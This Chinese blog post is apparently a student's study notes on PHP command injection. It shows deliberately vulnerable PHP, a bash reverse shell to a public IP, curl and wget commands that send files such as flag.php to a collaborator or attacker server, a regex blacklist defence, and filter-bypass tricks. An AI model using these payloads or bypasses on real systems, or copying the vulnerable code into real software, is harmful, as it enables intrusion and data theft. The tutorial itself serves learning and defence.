Title

每日一句

命令执行学习

一、编写存在命令注入的代码

1.windows环境

<?php
    $target=$_REQUEST['ip'];
    $cmd = shell_exec('ping '.$target);
    echo "<pre>{$cmd}</pre>";
?>

测试:http://127.0.0.1/1.php?ip=|net user

命令执行相关的函数;

system()

system函数可执行并直接显示结果

passthru()

执行有回显,将执行结果输出到页面上

exec()

执行无回显,默认返回最后一行结果

shell_exec()

默认无回显,通过 echo 可将执行结果输出到页面

popen()

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有rw代表读和写。

函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

` `

反引号里面的代码也会被当作OS命令来执行

命令执行漏洞有时候要搭配管道符来进行实现,下面是Windows下的管道符

|      直接执行|后面的命令
||     如果前面的语句执行出错,则执行后面的语句,前面的语句只能为假
&      如果前面的语句为假,则直接执行后面的语句,前面的语句可真可假
&&     如果前面的语句为假,则直接出错,也不执行后面的语句,前面的语句只能为真

2.Linux环境

<?php
if (isset($_GET['cmd']))
{
	echo "<pre>";
	system($_GET['cmd']);  //在URL中给cmd赋值就可以执行不同的命令了
}
else
{
	echo "?cmd=null";
}
?>

测试:

二、命令执行的利用

1.有回显

  • 获取敏感数据
  • 获取当前操作系统版本和内核信息
  • 获取当前用户名和密码

2.无回显

(1)如果无回显,如何判断注入的命令是否执行?

  • 延时:cmd=ls|sleep 5(linux)或者ping -n 3 127.0.0.1(windows)
  • DNS获取回显:cmd=curl `命令`.域名
  • 反弹shell

自己公网服务器nc -vv -lp 8888

目标服务器:cmd=bash+-i+>&+/dev/tcp/47.95.206.199/8888+0>&1

(2)确定了命令执行了,如何把执行结果,或者文件带出来?

Burp的Collaborator Client工具

复制burp工具的链接 http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

执行如下命令:

cmd=curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

然后在burp查看结果

curl命令:

cURL是用于使用各种协议传输数据的库和命令行工具,并且是用于数据渗透的非常有用的工具。如果易受攻击的服务器具有cURL,我们可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件。

一旦发现了OS命令注入漏洞,可以使用以下命令将文件的内容发送到我们的web服务器:

cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt

示例:http;//127.0.0.1/1.php?cmd=ifconfig | cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt

wget读取源代码

wget –post-data exfil=`cat /data/secret/secretcode.txt`&b=1 http://xxx.xxx.xxx.xxx:xxxx

wget可以使用post-data参数发送post请求

上面命令的意思就是在目标服务器读取/data/secret/secretcode.txt文件内容作为post数据,然后上传到自己的服务器

wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx

而post-file参数则是为了将文件上传到自己的服务器,可以用来读取源代码文件。

三、如何防御

  • 用正则表达式匹配用户输入的危险命令
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
  • 减少或不使用代码或命令执行函数
  • 客户端提交的变量在放入函数前进行检测
  • 减少或不使用危险函数
  • 在用户的输入会影响命令执行的情兄下,应将用户输入限制为从预定的安全命令集合中进行选择。如果输入中出现了恶意的内容传递到命令执行函数的值将默认从安全命令集合中选择,或者程序将拒绝执行任何命令。

常见绕过:

  • 在windows环境下,命令可以不区分大小写
whoami //正常执行
w"h"o"a"m"i //正常执行
w"h"o"a"m"i" //正常执行
wh""o^a^mi //正常执行
wh""o^am"i //正常执行
((((Wh^o^am""i))))//正常执行

linux下

wh\oami
wh$1oami
who$@ami
whoa$*mi
  • 双引号过滤
  • 变量拼接

windows

set a=who
set b=ami
%a%%b%//正常执行whoami

set a=w""ho
set b=a^mi
%a%%b%//根据前一知识点进行组合,正常执行whoami

set a=ser&&set b=ne&&set c=t u && call %b%%c%%a%
//在变量中设置空格,最后调用变量来执行命令

linux

t=l; j=s; i=" -al"; $t$j$i
a=who
b=ami
$a$b 
  • 在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格,{ls,-alt}
  • 或者在Linux下使用通配符去匹配文件。
posted @ 2022-10-29 15:39  江公  阅读(362)  评论(0编辑  收藏  举报
Title

每日一句